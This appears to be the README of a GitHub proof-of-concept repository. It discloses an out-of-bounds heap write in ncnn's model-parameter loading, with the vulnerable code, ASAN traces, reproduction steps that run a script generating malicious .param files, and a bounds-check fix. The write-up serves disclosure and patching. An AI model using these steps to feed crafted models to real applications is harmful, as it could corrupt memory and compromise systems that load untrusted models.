Talson/ncnn-blobindex-oob-poc

ncnn blob index OOB — heap-buffer-overflow WRITE

Vulnerability

CWE-787: Out-of-bounds Write in ncnn model loading (net.cpp).

In Net::load_param_bin(), blob indices read from the binary .param.bin file are used directly as vector subscripts without bounds checking:

// net.cpp:1559-1564
int bottom_blob_index;
READ_VALUE(bottom_blob_index)           // from file, no validation
Blob& blob = d->blobs[bottom_blob_index]; // OOB if >= blob_count
blob.consumer = i;                       // HEAP BUFFER OVERFLOW WRITE

In Net::load_param() (text format), blob_count in the header controls vector allocation, but no check ensures blob_index (incremented per top blob) stays in bounds:

// net.cpp:1208-1216
Blob& blob = d->blobs[blob_index];      // OOB if blob_index >= blob_count
blob.name = std::string(blob_name);      // WRITE to OOB Blob
blob.producer = i;                       // WRITE to OOB Blob

ASAN Traces

Binary format — WRITE of size 4:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
  #0 ncnn::Net::load_param_bin() net.cpp:1564

Text format — heap-buffer-overflow via string assignment:

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 8 (string move-assign to OOB Blob)
  #0 ncnn::Net::load_param() net.cpp:1213

Reproduction

git clone https://github.com/Tencent/ncnn.git && cd ncnn && mkdir build && cd build
cmake .. -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
  -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
  -DNCNN_VULKAN=OFF -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF \
  -DNCNN_BUILD_TESTS=OFF -DNCNN_OPENMP=OFF
make -j$(nproc) ncnn
g++ -fsanitize=address -fno-omit-frame-pointer -O1 -g -DNDEBUG \
  -I../src -I./src harness.cpp -L./src -lncnn -lpthread -o harness
python3 craft_malicious_ncnn.py
./harness malicious.param.bin   # binary format: WRITE OOB
./harness malicious.param       # text format: WRITE OOB

Fix

Add bounds checking before accessing d->blobs[]:

// Binary format (load_param_bin):
if (bottom_blob_index < 0 || bottom_blob_index >= (int)d->blobs.size()) {
    NCNN_LOGE("invalid bottom_blob_index %d", bottom_blob_index);
    return -1;
}

// Text format (load_param):
if (blob_index >= (int)d->blobs.size()) {
    NCNN_LOGE("blob_index %d exceeds blob_count", blob_index);
    return -1;
}